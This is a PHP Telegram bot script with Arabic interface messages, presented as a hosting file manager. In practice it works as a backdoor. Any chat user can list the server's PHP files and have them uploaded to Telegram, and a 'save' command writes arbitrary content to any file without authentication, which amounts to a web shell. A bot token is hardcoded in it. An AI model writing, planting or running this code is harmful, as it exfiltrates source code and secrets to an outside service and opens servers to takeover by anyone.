$token = "8185055151:AAFjq1tFgplIbJT_ojuQ5ecDF4-HsFDCX-I";$apiUrl = "https://api.telegram.org/bot$token/";$update = json_decode(file_get_contents("php://input"), true);$message = $update["message"] ?? null;if ($message) { $chatId = $message["chat"]["id"]; $text = $message["text"] ?? ''; if ($text === "/start") { sendMessage($chatId, "مرحبًا بك في بوت 🤖• إدارة الملفات علي الاستضافه 🔄• اضغط على الزر أدناه لعرض الملفات 📁 "); showFilesButton($chatId); } elseif (preg_match('/^edit (.+)$/', $text, $matches)) { editFile($chatId, trim($matches[1])); } elseif (preg_match('/^save (.+) (.+)$/', $text, $matches)) { saveFile(trim($matches[1]), trim($matches[2])); sendMessage($chatId, "تم السحب ✅"); }}if (isset($update["callback_query"])) { $callbackQuery = $update["callback_query"]; $chatId = $callbackQuery["message"]["chat"]["id"]; $data = $callbackQuery["data"]; file_get_contents($apiUrl . "answerCallbackQuery?callback_query_id=" . $callbackQuery["id"]); if ($data === "show_files") { showFiles($chatId); } elseif (preg_match('/^edit (.+)$/', $data, $matches)) { editFile($chatId, trim($matches[1])); }}function showFilesButton($chatId) { global $apiUrl; $keyboard = [ [["text" => "عرض الملفات ♾️", "callback_data" => "show_files"]] ]; $replyMarkup = json_encode(["inline_keyboard" => $keyboard]); sendMessage ($chatId, "اضغط على الزر للسحب ➕", $replyMarkup);}function showFiles($chatId) { global $apiUrl; $files = array_diff(scandir(__DIR__), array('.', '..')); $keyboard = []; foreach ($files as $file) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php' && filesize($file) <= 1048576) { $keyboard[] = [["text" => $file, "callback_data" => "edit $file"]]; } } $replyMarkup = json_encode(["inline_keyboard" => $keyboard]); sendMessage($chatId, "اختر ملف للسحب ♻️", $replyMarkup);}function editFile($chatId, $fileName) { $filePath = __DIR__ . '/' . $fileName; if (file_exists($filePath)) { sendDocument($chatId, $filePath); } else { sendMessage($chatId, "الملف غير موجود."); }}function saveFile($fileName, $newContent) { $filePath = __DIR__ . '/' . $fileName; file_put_contents($filePath, $newContent);}function sendMessage($chatId, $text, $replyMarkup = null) { global $apiUrl; $url = $apiUrl . "sendMessage?chat_id=$chatId&text=" . urlencode($text); if ($replyMarkup) { $url .= "&reply_markup=" . urlencode($replyMarkup); } file_get_contents($url);}function sendDocument($chatId, $filePath) { global $apiUrl; $url = $apiUrl . "sendDocument"; $postFields = [ 'chat_id' => $chatId, 'document' => new CURLFile(realpath($filePath)) ]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields); curl_exec($ch); curl_close($ch);}